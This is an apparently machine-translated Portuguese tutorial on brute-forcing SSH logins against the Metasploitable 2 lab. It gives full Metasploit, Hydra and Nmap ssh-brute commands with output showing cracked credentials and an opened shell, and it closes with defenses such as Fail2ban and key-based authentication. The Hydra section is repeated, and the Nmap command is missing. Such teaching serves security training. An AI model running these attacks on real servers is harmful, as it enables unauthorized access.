Uma das maneiras mais confiáveis de obter acesso SSH a servidores é por credenciais de força bruta. alguns métodos de execução de um ataque de força bruta SSH que acabará por levar à descoberta de credenciais de login válidas.
Embora não sejam as únicas maneiras de fazer isso, exploraremos ferramentas como Metasploit , Hydra e o Nmap Scripting Engine no Nmap para realizar essa tarefa, todas incluídas no Kali Linux . praticando no Metasploitable 2 , um ambiente de teste propositadamente vulnerável para pentesting e pesquisa de segurança.
Visão geral do SSH
SSH, que significa Secure Shell, é um protocolo de rede que permite a comunicação criptografada em uma rede insegura, desenvolvido como uma alternativa ao Telnet , que envia informações em texto simples, o que é claramente um problema, especialmente quando as senhas estão envolvidas.
Ou seja, o cliente inicia uma conexão com o servidor e a comunicação é estabelecida após a autenticação, o SSH pode usar tanto a autenticação por senha quanto por chave privada , sendo esta última considerada mais segura.
Os usos do SSH incluem fornecer um meio para logins remotos e execução de comandos, transferência de arquivos, desenvolvimento móvel e solução de problemas de conectividade em aplicativos baseados em nuvem…
Digitalizar com Nmap
Antes de iniciarmos qualquer ataque de força bruta, precisamos determinar o estado da porta em que o SSH está sendo executado. Podemos executar uma varredura simples do Nmap para ver se ela está aberta ou não. Em vez de verificar todas as portas padrão, podemos especifique um único número de porta com o sinalizador -p.
~$ nmap 172.16.1.102 -p 22
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-09 14:58 CST
Nmap scan report for 172.16.1.102
Host is up (0.0039s latency).
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.33 seconds
Acima, podemos ver que a porta 22 está aberta e o serviço SSH está sendo executado nela. Seria uma perda de tempo se ela estivesse fechada ou não estivesse funcionando. Agora podemos iniciar o brute-forcing.
Metasploit
O primeiro método que testaremos hoje envolve um dos scanners auxiliares do Metasploit: primeiro, inicie o banco de dados PostgreSQL com o seguinte comando.
~$ sudo service postgresql start
Agora, podemos iniciar o Metasploit digitando msfconsole no terminal.
~$ msfconsole
# cowsay++
____________
< metasploit >
————
,__,
(oo)____
(__) )
||–|| *
=[ metasploit v5.0.87-dev ]
+ — –=[ 2006 exploits – 1096 auxiliary – 343 post ]
+ — –=[ 562 payloads – 45 encoders – 10 nops ]
+ — –=[ 7 evasion ]
Metasploit tip: Use help <command> to learn more about any command
msf5 >
Você deve ver “msf” aparecer, mas para mim é “msf5”, pois estou usando a versão mais recente, Metasploit 5 , que pode ser atualizada executando a versão mais recente do Kali . É sempre uma boa ideia manter-se atualizado aqui está o comando que uso para atualizar: para aproveitar as últimas explorações e ferramentas.
~$ sudo apt update && sudo apt dist-upgrade
Em seguida, depois de ter recebido as boas-vindas para msfconsole, podemos encontrar o módulo apropriado com o comando search.
O módulo ssh_login é exatamente o que precisamos. Equipe-o com o comando use. Depois, você deve digitar “msf5 auxiliar (scanner / ssh / ssh_login), para saber que está trabalhando dentro do lugar certo.
msf5 > use auxiliary/scanner/ssh/ssh_login
Em seguida, podemos digitar options para exibir as configurações disponíveis para o scanner.
msf5 auxiliary(scanner/ssh/ssh_login) > options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description
—- ————— ——– ———–
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE false yes Whether to print output for all attempts
Precisamos definir algumas coisas para que isso funcione corretamente: Primeiro, RHOSTS é o endereço IP do nosso destino.
msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 172.16.1.102
rhosts => 172.16.1.102
Em seguida, STOP_ON_SUCCESS será interrompido após encontrar credenciais válidas.
msf5 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true
stop_on_success => true
Então, USER_FILE é uma lista de nomes de usuário.
msf5 auxiliary(scanner/ssh/ssh_login) > set user_file users.txt
user_file => users.txt
E PASS_FILE é uma lista de senhas.
msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file passwords.txt
pass_file => passwords.txt
Por fim, há VERBOSE , que exibirá todas as tentativas.
msf5 auxiliary(scanner/ssh/ssh_login) > set verbose true
verbose => true
Para os arquivos de usuário e senha, usei uma lista reduzida contendo credenciais conhecidas para esta demonstração. Em um ataque real, você provavelmente desejará usar uma das listas de palavras conhecidas ou uma personalizada para atender às suas necessidades.
Devemos estar prontos agora. Digite run no prompt para iniciar:
msf5 auxiliary(scanner/ssh/ssh_login) > run
[-] 172.16.1.102:22 – Failed: ‘user:password’
[-] 172.16.1.102:22 – Failed: ‘user:Password123’
[-] 172.16.1.102:22 – Failed: ‘user:msfadmin’
[-] 172.16.1.102:22 – Failed: ‘user:admin’
[-] 172.16.1.102:22 – Failed: ‘user:default’
[-] 172.16.1.102:22 – Failed: ‘user:root’
[-] 172.16.1.102:22 – Failed: ‘user:toor’
[-] 172.16.1.102:22 – Failed: ‘user:hello’
[-] 172.16.1.102:22 – Failed: ‘user:welcome’
[-] 172.16.1.102:22 – Failed: ‘user:hunter2’
[-] 172.16.1.102:22 – Failed: ‘msfadmin:password’
[-] 172.16.1.102:22 – Failed: ‘msfadmin:Password123’
[+] 172.16.1.102:22 – Success: ‘msfadmin:msfadmin’ ‘uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ‘
[*] Command shell session 1 opened (172.16.1.100:37615 -> 172.16.1.102:22) at 2020-08-09 15:06:58 -0600
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Como configuramos a opção verbose, podemos ver todas as tentativas à medida que elas ocorrem. Dependendo do número de combinações de nome de usuário e senha, isso pode levar algum tempo para ser executado.
Quando credenciais válidas são encontradas, uma mensagem de sucesso é exibida e um shell de comando é aberto, mas ele não nos coloca automaticamente, então podemos exibir as sessões ativas atuais com o comando sessions.
msf5 auxiliary(scanner/ssh/ssh_login) > sessions
Active sessions
===============
Id Name Type Information Connection
— —- —- ———– ———-
1 shell linux SSH msfadmin:msfadmin (172.16.1.102:22) 172.16.1.100:37615 -> 172.16.1.102:22 (172.16.1.102)
Isso diz que é uma conexão SSH. Para interagir com esta sessão, use o sinalizador -i.
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1…
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
Agora estamos conectados ao destino via SSH e podemos executar comandos normalmente.
Hydra
A próxima ferramenta que usaremos é Hydra, um poderoso cracker de login que é muito rápido e suporta vários protocolos diferentes. Para mostrar a ajuda e algumas opções básicas de uso, basta digitar hydra no terminal. (Observe, se você estava anteriormente no ) o console do msf, certifique-se de fazer um cd dele antes de usar o Hydra.)
O Hydra contém uma variedade de opções, mas hoje usaremos o seguinte:
O sinalizador -L , que especifica uma lista de nomes de login.
O sinalizador -P , que especifica uma lista de senhas.
ssh: //172.16.1.102 — nosso alvo e protocolo.
O sinalizador -t definido como 4 , que define o número de tarefas paralelas a serem executadas.
Assim que iniciarmos, a ferramenta exibirá o status do ataque:
~$ hydra -L users.txt -P passwords.txt ssh://172.16.1.102 -t 4
Hydra v9.0 (c) 2019 by van Hauser/THC – Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-09 15:12:47
[DATA] max 4 tasks per 1 server, overall 4 tasks, 90 login tries (l:9/p:10), ~23 tries per task
[DATA] attacking ssh://172.16.1.102:22/
Após um período de tempo, ele será concluído e nos mostrará o número de logins bem-sucedidos encontrados.
Método 2
Hidra
A próxima ferramenta que usaremos é Hydra, um poderoso cracker de login que é muito rápido e suporta vários protocolos diferentes. Para mostrar a ajuda e algumas opções básicas de uso, basta digitar hydra no terminal. (Observe, se você estava anteriormente no ) o console do msf, certifique-se de fazer um cd dele antes de usar o Hydra.)
~$ hydra
Hydra v9.0 (c) 2019 by van Hauser/THC – Please do not use in military or secret service organizations, or for illegal purposes.
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
Options:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated “login:pass” format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ‘:’ to specify port
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-U service module usage details
-h more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don’t use in military or secret service organizations, or for illegal purposes.
Example: hydra -l user -P passlist.txt ftp://192.168.0.1
O Hydra contém uma variedade de opções, mas hoje usaremos o seguinte:
O sinalizador -L , que especifica uma lista de nomes de login.
O sinalizador -P , que especifica uma lista de senhas.
ssh: //172.16.1.102 — nosso alvo e protocolo.
O sinalizador -t definido como 4 , que define o número de tarefas paralelas a serem executadas.
Assim que iniciarmos, a ferramenta exibirá o status do ataque:
~$ hydra -L users.txt -P passwords.txt ssh://172.16.1.102 -t 4
Hydra v9.0 (c) 2019 by van Hauser/THC – Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-09 15:12:47
[DATA] max 4 tasks per 1 server, overall 4 tasks, 90 login tries (l:9/p:10), ~23 tries per task
[DATA] attacking ssh://172.16.1.102:22/
Após um período de tempo, ele será concluído e nos mostrará o número de logins bem-sucedidos encontrados.
[22][ssh] host: 172.16.1.102 login: msfadmin password: msfadmin
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 46 to do in 00:02h, 4 active
[STATUS] 42.00 tries/min, 84 tries in 00:02h, 6 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-09 15:15:10
O poder de processamento paralelo do Hydra o torna uma boa escolha quando um grande número de credenciais em potencial está envolvido.
Mecanismo de script Nmap
O último método de força bruta de credenciais SSH que testaremos hoje envolve o uso do Nmap Scripting Engine . O NSE contém um script que tentará forçar bruta todas as combinações possíveis de um par de nome de usuário e senha. Para executar esse ataque, podemos execute uma varredura simples do Nmap a partir de um novo terminal, como antes, mas com algumas opções extras:
–script ssh-brute especifica o script a ser usado.
–script-args definirá os argumentos para o script, separados por uma vírgula.
userdb = users.txt é a lista de nomes de usuário que desejamos usar.
passdb = passwords.txt é a lista de senhas que desejamos usar.
Agora, estamos prontos para iniciar a varredura:
O NSE exibirá as tentativas de força bruta e quais credenciais estão sendo testadas. Seja paciente — dependendo do número de nomes de usuário e senhas usados, isso pode levar algum tempo.
Depois de um tempo, a varredura terminará e um relatório será mostrado no terminal.
Nmap scan report for 172.16.1.102
Host is up (0.0011s latency).
PORT STATE SERVICE
22/tcp open ssh
| ssh-brute:
| Accounts:
| user:user – Valid credentials
| msfadmin:msfadmin – Valid credentials
| service:service – Valid credentials
|_ Statistics: Performed 66 guesses in 124 seconds, average tps: 0.5
MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 147.59 Second.
Acima, podemos ver que ele descobriu três credenciais de login válidas.Este script é útil porque irá iterar através de todos os pares possíveis de nomes de usuário e senhas, o que às vezes produz mais resultados.
Como prevenir o SSH Brute-Forcing
A realidade é que, se você tiver um servidor voltado para a Internet, haverá muitas tentativas de força bruta SSH diariamente, muitas das quais automatizadas . Mas não se preocupe, existem algumas soluções simples para ajudar a proteger contra isso e reduzir o número de tentativas de login.
Talvez uma das coisas mais fáceis de se fazer seja alterar o número da porta na qual o SSH opera, embora isso dissuadir as tentativas mais rudimentares de força bruta, é trivial verificar o SSH rodando em portas alternativas.
Um método melhor é implementar um serviço como Fail2ban , DenyHosts ou iptables para bloquear tentativas de força bruta no nível do host. Isso, combinado com o uso de autenticação de chave privada em vez de senhas, o colocará fora do alcance da maioria dos invasores. a autenticação baseada em dados é absolutamente necessária, use senhas fortes e siga as práticas recomendadas.
Conclusão
Neste guia, aprendemos sobre SSH e como usar credenciais de força bruta para obter acesso a um destino. Primeiro, abordamos como identificar portas abertas executando SSH. Em seguida, aprendemos como montar um ataque de força bruta usando três métodos: Metasploit , Hydra e o Nmap Scripting Engine Finalmente, examinamos algumas formas de proteção contra esses tipos de ataques.
O SSH é um protocolo predominante, portanto, todo hacker deve saber como atacá-lo – e como evitar esses ataques.








